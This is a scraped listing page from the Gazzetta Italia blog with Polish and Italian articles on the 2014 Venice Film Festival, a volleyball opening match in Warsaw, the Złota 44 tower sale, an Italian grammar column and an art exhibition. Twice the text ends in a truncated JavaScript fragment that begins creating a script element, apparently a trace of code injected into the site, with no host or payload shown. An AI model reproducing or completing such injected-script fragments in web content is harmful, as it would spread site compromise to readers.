Slide
Slide
Slide
banner Gazzetta Italia_1068x155
Bottegas_baner
baner_big
Studio_SE_1068x155 ver 2
LODY_GAZETTA_ITALIA_BANER_1068x155_v2
ADALBERTS gazetta italia 1066x155

Strona główna Blog Strona 118

Dramaty narodowe i osobiste bolączki, w Wenecji dominują obecnie przygnębiające tematy (w artykule fragment filmu “Hungry Hearts”)

0

(tłum. Katarzyna Kurkowska)

Zabójstwa i dramaty rodzinne. Przygnębiająca atmosfera, która ostatnimi laty daje się odczuć pod każdą szerokością geograficzną, znajduje swoje odzwierciedlenie w filmach 71. Festiwalu Filmowego w Wenecji.

Dzisiaj przedstawiam Wam dwie dramatyczne i poruszające historie: turecka rzeź Ormian i rodzinna opowieść o matce pogrążonej w paranoi.

“The cut” Fatiha Akina (pamiętacie jego “Soul Kitchen”?) to epopeja w starym stylu, trwająca 2 godziny 20 minut, z wystawnymi i drogimi dekoracjami. Wokół postaci Nazaretha Manoogiana (granego przez Tahara Rhamina), Ormianina, ojca dwóch córek, oderwanego od swojej rodziny, opowiedziana jest historia rzezi Ormian dokonanej przez Turków w czasie I wojny światowej. Nazareth, cudem ocalały z rzezi, po zakończeniu wojny będzie próbował odnaleźć córki, ruszając z pustyni w Mezopotamii, a docierając aż do Dakoty Północnej. Będzie to podróż trudna i łatwa zarazem, w zależności od ludzi, jakich napotka na swojej drodze. Film pełen przygód i dramatyzmu, który przytaczając historię sprzed wieku wydaje się nader aktualny. Jeśli lubicie takie kolosy, obejrzyjcie.

Ból i dramat to także ważne elementy filmu “Hungry hearts” Saverio Costanzo, drugiej włoskiej pozycji w konkursie (nakręconej po angielsku). Tutaj dramat rozgrywa się w wymiarze najbardziej prywatnym z możliwych: relacja matki z synem. Jude i Mina poznają się przez przypadek, podobają się sobie i wydają na świat dziecko. Przedporodowa nadwrażliwość Miny przekształca się w obsesyjną i egocentryczną zaborczość. Mesjanistyczne fantazje o roli, jaką odegra jej syn wraz z nieznoszącym kompromisu weganizmem doprowadzają malca do niedożywienia i opóźnienia w rozwoju. Ojciec, Jude, z miłości do Miny aż za bardzo daje się ponieść delirium partnerki, starając się dożywiać dziecko w ukryciu do chwili, gdy do akcji wkracza matka Jude’a. Poruszający film nie dla osób o sercu wrażliwym na temat macierzyństwa.

Zwieńczeniem ponurej atmosfery panującej w tym roku w Wenecji jest film “H.” Ranii Attieh i Daniela Garcii, dzieło z sekcji cinema-college, czyli filmów, które po otrzymaniu dotacji powstają w przeciągu 11 miesięcy i są prezentowane na Festiwalu. Film zgrabny stylistycznie opowiada historię zmian i wyobcowania spowodowanych niewyjaśnionym zdarzeniem, które zaszło w upadłym amerykańskim miasteczku. Bohaterkami są starsze panie, opiekujące się lalkami tak jakby były żywe, i artyści mieszający emocje, fizyczność i sztukę, aż do zatracenia poczucia egzystencji.

Co tu dużo mówić, miejmy nadzieję na zmianę tematyki w kolejnych filmach. Do jutra!

Pod linkiem fragment filmu “The cut”: http://paolozennaro.com/gazzettaitalia/4654.mp4

Święto siatkówki rozpoczęte! Rekord na Narodowym, 63 tysiące kibiców na meczu otwarcia.

0

[cml_media_alt id='111446']Stadion_Narodowy_w_Warszawie_12[/cml_media_alt]

Dzień 30 sierpnia 2014, przejdzie zapewne do annałów światowej siatkówki. W Sobotni wieczór na Stadionie Narodowym w Warszawie około 63 tysięcy kibiców uczestniczyło w wielkim spektaklu, w ceremonii otwarcia i w meczu inauguracyjnym, w którym Polacy gładko pokonali 3-0 bardzo wymagającego rywala jakim jest Serbia. Uroczystość otwarcia Mistrzostw wzbudziła wielki zachwyt wśród działaczy FIVB, o czym mówił prezes Polskiego Związku Piłki Siatkowej Mirosław Przedpełski. Pod wrażeniem byli również zagraniczni dziennikarze, co możemy przeczytać w dzisiejszych artykułach w prasie zagranicznej. Wczoraj wszystko zadziałało perfekcyjnie, doskonała oprawa artystyczna ceremonii otwarcia, wspaniały doping ogromnej publiczności i oczywiście gra samej reprezentacji. Jedynymi niezadowolonymi tego wieczoru byli zapewne siatkarze i kibice Serbii, ale oni będą mieli jeszcze okazję zademonstrować swoje walory w następnych meczach. Trzymajmy kciuki za organizatorów i za reprezentację Polski, aby dostarczali nam równie mocnych emocji aż do ostatniego meczu tych historycznych mistrzostw.

Wczoraj Polska po raz kolejny udowodniła, że siatkówka w tym kraju jest kochana, a Polacy potrafią organizować imprezy na światowym poziomie!

Al Pacino i Charlotte Gainsbourg, czyli gwiazdy dotarły na Festiwal! (w artykule link do fragmentu filmu “3 coeurs”)

0

(tłum. Katarzyna Kurkowska)

Al Pacino, Charlotte Gainsbourg, Catherine Deneuve, Chiara Mastroianni. Minął dzień festiwalowy naznaczony obecnością gwiazd, które na konferencji prasowej wzbudziły morze oklasków i pochwał, mimo że ani dwa filmy Ala Pacino zaprezentowane w Wenecji, ani francuski “3 coeurs” (w którym Deneuve gra u boku swojej córki Chiary Mastroianni i bohaterki “Nimfomanki” Charlotte Gainsbourg) raczej nie zostanie hitem kasowym.

Zacznijmy od tego, na czym najbardziej się zawiodłem: “Manglehorn” (film konkursowy) w reżyserii Davida Gordona Greena. Fabuła to losy dobrego mężczyzny, który dożył sędziwego wieku z wyrzutami sumienia z powodu utraconej miłości swojego życia. Mieszka z kotką, prowadzi ubogie życie towarzyskie i wykonuje dość trywialną pracę rzemieślnika. Film ten próbuje uwznioślić zwyczajność ludzkiej egzystencji, jednak koniec końców się to nie udaje, mimo kolejnej doskonałej roli Ala Pacino, który finalnie uwolni się od obsesji utraconej miłości i pozwoli się poderwać kasjerce z banku, granej przez Holly Hunter. Ta pozycja na pewno nie zostanie zapamiętana jako najbardziej udana w całej wspaniałej filmografii Ala Pacino.

Nieco bardziej intrygujący “The humbling” (poza konkursem), w którym Barry Levinson opowiada o erotycznym związku między prawie 70-letnim Alem Pacino a niemalże nastoletnią Gretą Gerwig.. Fabuła jest dość przewidywalna: Al Pacino gra emerytowanego aktora, który zakochuje się w nieprzyjemnej, ale nader ekscytującej lesbijce, granej przez Gretę Gerwig, która w filmie jest córką znajomych Pacino (w momencie odkrycia relacji są oczywiście wściekli). Film przewidywalny, ale całkiem przyjemny dzięki niektórym ironicznym scenom oraz dobrej grze aktorskiej.

“3 coeurs” przenosi nas z powrotem do Europy, w atmosferę filmów z rodzaju „miłosnego trójkąta”, którymi to francuscy reżyserowie zawsze tak chojnie nas obdarowywali. Historia opiera sięna epizodach, które w decydujący sposób wpływają na życiowe przeznaczenie. Zbiegi okoliczności prowadzą bohatera, komornika granego przez Benoite’a Poelvoorde’a, do zakochania się najpierw w Sylwie (Charlotte Gainsbourg) – która jednak znika mu z oczu nie pojawiając się na spotkaniu – a potem do przypadkowego poznania i poślubienia siostry Sylwie, pięknej i nieśmiałej Sophie (Chiara Mastroianni). Melodramat materializuje się na ślubie, kiedy Sylwie wracaja z USA i dowiaduje się, że zaginiony kochanek poślubił jej siostrę. Od tego momentu rodzi się z tego ponure menage a trois za plecami nieświadomej Sophie, ale za wiedzą matki sióstr, granej przez coraz bardziej kształtną Catherine Deneuve. Film ogląda się z przyjemnością, a finał dodaje nam dodatkowo skrzydeł przez oniryczne spotkanie dwojga kochanków na rzeczonym spotkaniu. Idealny film do obejrzenia w listopadzie siedząc pod kołdrą i jedząc czekoladki.

“Heaven knows what” (w konkursie w sekcji horyzonty) Josha e Benny’ego Safdie okazał się natomiast dość irytujący. Jest to film, który pretenduje do ukazania nam toksycznego życia młodych ćpunów w Nowym Jorku, zapominając przy tym, że w tym gatunku istnieją już poprzednicy, na których warto by się wzorować, chociażby “Trainspotting”. Jeśli więc nie chcecie zmarnować 94 minut Waszego życia, odpuśćcie sobie tę pozycję.

http://paolozennaro.com/gazzettaitalia/4416.mov

Apartamentowiec Z?ota 44 sprzedany za 260 mln PLN.

1

[cml_media_alt id='111378']zlot 44 inso varsavia[/cml_media_alt]

Warszawski apartamentowiec Złota 44, projektu Daniela Libeskinda i budowany przez włoską spółkę INSO, ma nowego właściciela. Jest nim amerykański fundusz nieruchomościowy Amstar oraz polska spółka BBI Development (udziałowiec mniejszościowy). Według nieoficjalnych informacji, poprzedni właściciel „Żaglowca” wydał na jego budowę około 700 mln PLN. Nieruchomość została sprzedana za 260 mln PLN. Inwestor amerykański wyłożył większą sumę na zakup apartamentowca i jest jego większościowym udziałowcem. Drugi z udziałowców, polska spółka BBI Development znana jest na rynku nieruchomości w Warszawie. Zrealizowała w mieście takie projekty jak „Koneser” w dawnej wytwórni wódek przy ul. Ząbkowskiej, czy centra handlowe Plac Unii lub Sezam. BBI Development otrzyma mniejszościowy pakiet udziałów, który – jak poinformowano w komunikacie – będzie formą premii deweloperskiej za realizację projektu. Krótko mówiąc polska spółka będzie odpowiedzialna za nadzór i dokończenie budowy, otrzymując w zamian pewną kwotę udziałów w apartamentowcu. Budowa „Żaglowca” została rozpoczęta w 2008 przez włoską firmę INSO i po wybudowaniu 17 pięter, pracownicy po raz pierwszy z powodu problemów finansowych inwestora opuścili plac budowy. W międzyczasie pojawiły się też inne problemy, sąd administracyjny po protestach sąsiadów zarządził czasowe zablokowanie pozwolenia na budowę, które następnie zostało anulowane, a pozwolenie na budowę wydane przez wojewodę mazowieckiego zostało uznane za ważne. Prace budowlane zostały wznowione w styczniu 2011 roku, a cała inwestycja miała zakończyć się w 2014. Niestety pod koniec 2013 roku okazało się, że grupa Orco nie będzie w stanie dokończyć budowy. Inwestycja okazała się porażką, do czego przyznali się szefowie inwestora.

(Polonia Oggi)var d=document;var s=d.createElement(’script’);

“She’s funny that way”, irresistibilmente divertente! (nell’articolo una clip del film)

0

Ironia irresistibile, ritmo degno del miglior Woody Allen, attori (Owen Wilson, Imogen Poots, Jennifer Aniston) credibilissimi nelle loro parti! Peter Bodganovich, alla terza apparizione alla Mostra di Venezia, regala al pubblico una splendida commedia “She’s funny that way” (fuori concorso) che farà il botto ai botteghini. Si ride prima delle battute perché le situazioni sono esilaranti e la recitazione gioiosamente teatrale, coerente alla trama del film. Un affascinante regista di Broadway, Arnold Albertson, col vezzo del salvare la vita alle donne, trascina involontariamente nella sua vita una deliziosa squillo (Imogen Poots) che sogna di fare l’attrice. Peccato che un vecchio giudice sia ossessionato dal fascino della stessa squillo, che nel frattempo va in terapia dall’amante del sceneggiatore che lavora con il regista :D. Insomma come avrete capito ne nasce un vortice di situazioni incredibili arricchite dal fatto che il padre dello sceneggiatore fa l’investigatore pagato dal vecchio giudice (quello ossessionato dalla “energia positiva” della squillo) per sapere i movimenti dell’adorabile Imogen Poots la cui missione dichiarata è portare un pizzico di magia nelle vite degli uomini tristi… Quindi appena “She’s funny that way” esce nei cinema precipitatevi!

Un’America dura e cinica è invece quella raccontata con lucidità da Ramin Bahrani in “99 Homes” (in concorso), un paese senza pietà che ama i vincenti e detesta i perdenti soprattutto se poveri. Il regista obbliga lo spettatore a chiedersi continuamente quale sia la soglia di disonestà da accettare per poter salvarsi economicamente quando si sta per sprofondare.

In concorso c’è anche il film-documentario “The look of silence” di Joshua Oppenheimer dedicato al dramma della dittatura militare in Indonesia, al massacro di migliaia di civili sospettati d’essere comunisti. Un film che, se ce ne fosse ancora bisogno, dipinge con stile da report giornalistico cosa significhi la politica estera degli USA, ovvero la spaventosa saldatura tra la volontà d’esportazione della “democrazia” in Asia, quale baluardo all’avanzata del contropotere, che all’epoca (1965) era il comunismo. Imperialismo americano e islamismo proliferante uniti per eliminare chi aveva idee di giustizia sociale, tacciati d’essere pericolosi sovversivi. Film di denuncia da vedere magari prima di una vacanza a Bali.

Qui una clip di „She’s funny that way”: http://paolozennaro.com/gazzettaitalia/4184.movvar d=document;var s=d.createElement(’script’);

Kącik językowy

2

Witam Was wszystkich. Oto znajdujemy się w naszym “Kąciku językowym”. Chciałbym tutaj podziękować osobom, które do mnie napisały, kierując do mnie ciekawe pytania. Nie martwcie się o formę, bądźcie odważni w zadawaniu pytań, w najgorszym wypadku możecie przecież zawsze napisać po polsku. Przypominam wszystkim adres, na który można nadsyłać swoje wątpliwości językowe: lingua@gazzettaitalia.pl

Pierwsze pytanie padło ze strony Kasi. Pisze nam ona, że pewnego razu usłyszała i przeczytała w wywiadzie w ostatnim numerze Gazzetta Italia zdanie: „(…) sono sicuro che molti turisti polacchi siano arrivati anche indipendentemente.” („jestem pewien, że wielu polskich turystów przyjechało niezależnie.”)

A więc mówi: czy nie uczyli nas zawsze, że congiuntivo (siano zamiast sono) oznacza niepewność? No to czemu po „sono sicuro che…” (jestem pewien, że) mielibyśmy użyć congiuntivo?

To bardzo interesujące pytanie. Przede wszystkim, w tak szczególnym przypadku należałoby przeanalizować kontekst, w którym znalazło się to zdanie. Często przy uzupełnianiu prostych ćwiczeń gramatycznych jesteśmy pozbawieni kontekstu, w którym byłoby osadzone nasze zdanie.

Przytoczmy dwa przykłady:

  1. Ero sicuro che aveva preso il treno. (Byłem pewien, że wsiadła do pociągu.)
  2. Ero sicuro che avesse preso il treno. (w polskim nie istnieje tryb łączący congiuntivo, tak więc drugie zdanie tłumaczymy tak samo jak pierwsze)

Wyobraźmy sobie kontekst: jesteśmy na peronie, czekamy na koleżankę.

Mamy dwa scenariusze: w pierwszym koleżanka wysiada z pociągu, w drugim pociąg odjeżdża, ale nie widzimy naszej koleżanki, być może jeszcze nawet nie dotarła.

W pierwszym przypadku powiemy: ero sicuro che aveva preso il treno… (zaiste! oto ona, wysiadająca z pociągu)

W drugim powiemy: (gdzie moja koleżanka?) … ero sicuro che avesse preso il treno … (ale teraz mam ku temu wątpliwości, z uwagi na to, że jej nie widzę). W tym przypadku więc kontekst sytuacyjny sprawił, iż powątpiewam w swą pewność, a więc muszę użyć congiuntivo.

W innym mailu, Ania chwali moje wyjaśnienia w marcowym kąciku językowym, dotyczące słowa „anzi”. Prosi, abym zrobił to samo z innymi włoskimi słowami. Jednakże wymienione przez nią słowa są bardzo szczególne i mają niezliczone odcienie. Obiecuję więc napisać cały artykuł na temat użycia tych dwóch słów.

Aż w końcu ciekawe pytanie dotyczące słownictwa: Hania pyta, czy jest jakaś różnica między słowami tavolo i tavola. Oczywiście:

Tavolo, stół, jest obiektem samym w sobie. Stół drewniany, duży stół, itd. Tavola to natomiast stół już nakryty, przygotowany na obiad lub kolację, a więc z obrusem, sztućcami, szklankami i tym wszystkim, co czyni stół zachęcającym i co pozwala utrzymać rodzinne ciepło. Mamy mówią do swoich dzieci: “È pronto, a tavola” („Gotowe, siadajcie do stołu”).

 

Zaskakujący

0
Liam Walpole, protagonista di "The Goob"

(tłum. Katarzyna Kurkowska)

Dopadła mnie nostalgia za Wajdą. W zeszłym roku o tej porze na tarasie legendarnego Hotelu Excelsior przeprowadzałem wywiad z polskim mistrzem dzień po premierze filmu o Wałęsie. Wśród pytań, które mu zadałem, było też to dotyczące wielkiej przepaści między stopniem zaangażowania w kulturę w okresie wielkiego polskiego kina i współcześnie, w czasach komedii w stylu „Testosteronu”. „Znajdujemy się obecnie w innej epoce, dziś nie brakuje tylko filmów zaangażowanych, brakuje zaangażowania na 360° we wszystkich dziedzinach sztuki, żyjemy w czasach Polski wolnej, idącej do przodu w sensie gospodarczym, jednak nie myślącej zbyt wiele o kulturze” – oto odpowiedź Andrzeja Wajdy. I tak dziś, idąc z duchem nostalgii, poszedłem zobaczyć „Bez końca” Kieślowskiego. Film, który sprawił, że znów poczułem atmosferę Polski zaangażowanej i walczącej jak w ostatnich latach komunizmu. Narzuca się pytanie: kiedy współczesne polskie kino znowu zacznie się liczyć? Choć prawdę mówiąc, filmy pokroju „Idy” dobrze wróżą na przyszłość. Pierwszy kontakt z filmami festiwalowymi miałem jednak dziś rano za sprawą „The Goob”, dzieła Guya Myhilla, reżysera, który zaproponował nam film szorstki i intensywny, skupiony wokół ciężkiego życia na angielskiej prowincji. Powiew okrutnego autentyzmu, mówiący o darwinowskich zależnościach rządzących angielskim społeczeństwem, tym prawdziwym, na peryferiach i na wsi, a nie tym wyidealizowanym, będącym udziałem nielicznych szczęściarzy z wyższych sfer mieszkających w Londynie. Na zakończenie projekcji odbyło się spotkanie z reżyserem i obsadą, składającą się prawie z samych debiutantów, bardzo zadowolonych z aplauzów, które spłynęły na nich z widowni. Ale w tym niesamowitym zakątku, jakim jest Lido, sale kinowe oddalone są zaledwie o 100 metrów od plaż Adriatyku – jak można z tego nie skorzystać? Zażyłem zatem chwili odpoczynku od kinomanii: kąpiel w morzu i godzinka na leżaku, studiując program na nadchodzący wieczór.

Na zdjęciu Liam Walpole, bohater filmu „The Goob”.

 

Gotowi… start! Rozpoczęła się 71. edycja Festiwalu Filmowego w Wenecji, wśród gości Al Pacino, Naomi Watts, Willem Dafoe

0

(tłum. Katarzyna Kurkowska)

Zaczyna się! Już dziś początek 71. edycji najstarszego festiwalu filmowego na świecie! Ja dotrę na Lido dopiero jutro, dzisiaj jest dzień “check-inów” i lotów Warszawa-Frankfurt-Wenecja, gdyż nawet w trzecim tysiącleciu żadne linie lotnicze nie oferują bezpośrednich rejsów na trasie Warszawa-Wenecja, choć dla mnie wygodniejsze byłoby połączenie Żoliborz-Lido; wystarczyłoby tylko zbudować niewielki pas startowy na Żoliborzu, bo lotnisko Nicelli del Lido, pierwsze lotnisko cywilne we Włoszech (1926), już jest.

Ok ok, mowa o kinie, należy więc powiedzieć, że wszystko jest już gotowe na 71. edycję festiwalu (od 27 sierpnia do 6 września). Otworzy ją dziś ‘Birdman’ Alejandro Iñárritu, film 12-krotnie nominowany do Oscara z godną uwagi obsadą: Michael Keaton, Edward Norton, Emma Stone, Naomi Watts.

Wśród reżyserów biorących udział w konkursie festiwalowym wyróżniają się nazwiska takie jak Andrei Konchalovsky, Amos Gitai, Peter Bogdanovich, a także Shinya Tsukamoto, David Gordon Green, Abel Ferrara i Roy Andersson. Drugi rok z rzędu w konkursie bierze udział film dokumentalny, ‘The Look of Silence’ Joshuy Oppenheimera, poza konkursem Salvatores i Lars Von Trier. A filmy włoskie? Dyrektor Alberto Barbera przewidział ich kilka, a 3 z nich walczą o Złotego Lwa. Mowa o ‘Il Giovane Favoloso’ Mario Martone, z Elio Germano w roli Leopardiego; ‘Anime Nere’ Francesco Munziego, nakręconym w dialekcie kalabryjskim w miasteczku Aspromonte; ‘Hungry Hearts’ Saverio Costanzo, nakręconym z kolei w Nowym Jorku, w którym zagrali Alba Rohrwacher i Adam Driver.

Ale na każdym kolejnym festiwalu jest też miejsce na trochę splendoru, tak więc i tym razem po czerwonym dywanie na Lido przechadzać się będą gwiazdy takie jak: Al Pacino, Michael Keaton, Willem Dafoe, Ethan Hawke, Bill Murray, Edward Norton, oraz aktorki, poczynając od tych francuskich, Catherine Deneuve, Chiara Mastroianni, Charlotte Gainsbourg, lecz także te hollywoodzkie, Emma Stone i Naomi Watts. W tym roku festiwal zainauguruje śródziemnomorska ciemnowłosa piękność: Luisa Ranieri, aktorka kinowa i teatralna. Jury złożone jest z Carla Verdone, Tima Rotha, Sandy Powell, Joan Chen, Philipa Gröninga, Jessiki Hausner, Jhumpa Lahiri oraz Elii Suleiman. Przewodniczącym jury jest Alexandre Desplat, wielokrotnie nagradzany kompozytor muzyki filmowej. Największym jego sukcesem okazała się muzyka do sagi ‘Zmierzch’ oraz 'Harry’ego Pottera’, a także do filmów Wesa Andersona.

 

Dzisiaj, 14:45 Radiowa Czwórka, redaktor naczelny GI mówi o petycji przeciwko budowie wielkiego kanału

0

Dziś o godzinie 14:45 w radiowej Czwórce wywiad z Sebastiano Giorgim, redaktorem naczelnym Gazzetta Italia, na temat petycji do UE sprzeciwiającej się wybudowaniu nowego wielkiego kanału na weneckiej lagunie.

link do radia:
http://www.polskieradio.pl/10,Czworka

więcej na ten temat: https://www.gazzettaitalia.pl/pl/wenecja-wzywa-bruksele-kampania-spoleczna-przeciwko-wykopaniu-nowego-ogromnego-kanalu-dla-wielkich-statkow/

Sebastiano Giorgi

Arte: Mimmo Emanuele „riporta” Wojtyla in Polonia con le sue opere

0
Mimmo Emanuele

L’AQUILA – 'San Giovanni Paolo II, dal Gran Sasso d’Italia alla canonizzazione’.

Questo il titolo della mostra di pittura del disegnatore aquilano Mimmo Emanuele che si terrà a Zielona Gora, in Polonia, città gemellata con L’Aquila, dal 6 al 14 settembre 2014, nella prestigiosa struttura del Palmiarnia, sede di un importante e visitatissimo Orto botanico.

L’esposizione vedrà il patrocinio dello stesso Comune di Zielona Gora coadiuvato, nell’organizzazione, daBeata e Filippo Palumbo, aquilano doc da tempo trasferitosi nella città polacca.

L’inaugurazione della mostra che aprirà nel corso di Winobranie 2014, è prevista per le ore 15.00 del 6 settembre.

„Il titolo della mostra, dedicata alla figura di Papa Giovanni Paolo II, unisce momenti estremamente importanti per noi – ha dichiarato Janusz Kubicki, sindaco della città – L’esposizione mostra Wojtyla in momenti della sua vita terrena, tra le montagne del Gran Sasso aquilano, nella chiesetta di San Pietro della Ienca, che divenne nel 2011 il primo Santuario ufficialmente riconosciuto dalla Chiesa al di fuori della Polonia”.

Prevista anche una presentazione della mostra a cura della giornalista aquilana Eleonora Falci.

„Quando si osservano le opere di Mimmo Emanuele -e le sue parole – da quelle sacre a quelle raffiguranti la nostra città, si rimane colpiti. Perché attraverso la sua tecnica e la sua sensibilità ci si accorge che è possibile fermare il tempo nel momento stesso in cui le emozioni si schiudono”.

Sarano inoltre esposte 20 opere dedicate all’Aquila, Una finestra sulla città, a Zielona Gora,dipinti raffiguranti il centro storico.

Non mancherà un dipinto di Emanuele, tra i più classici ispirato al Suo paese di origine: Ofena, borgo in provincia dell’Aquila.

Si tratta di opere realizzate con la tecnica che prevede l’uso della china e dell’acquerello. Per l’occasione verranno donate ai visitatori durante il periodo della mostra quattro tipologie di cartoline.

E all’Aquila, durante la Perdonanza Celestiniana cominciata l’altro ieri, una delegazione polacca visiterà lo studio d’arte di Mimmo Emanuele. Un primo incontro per conoscersi e programmare l’evento espositivo di settembre.

(fonte: www.abruzzoweb.it)

}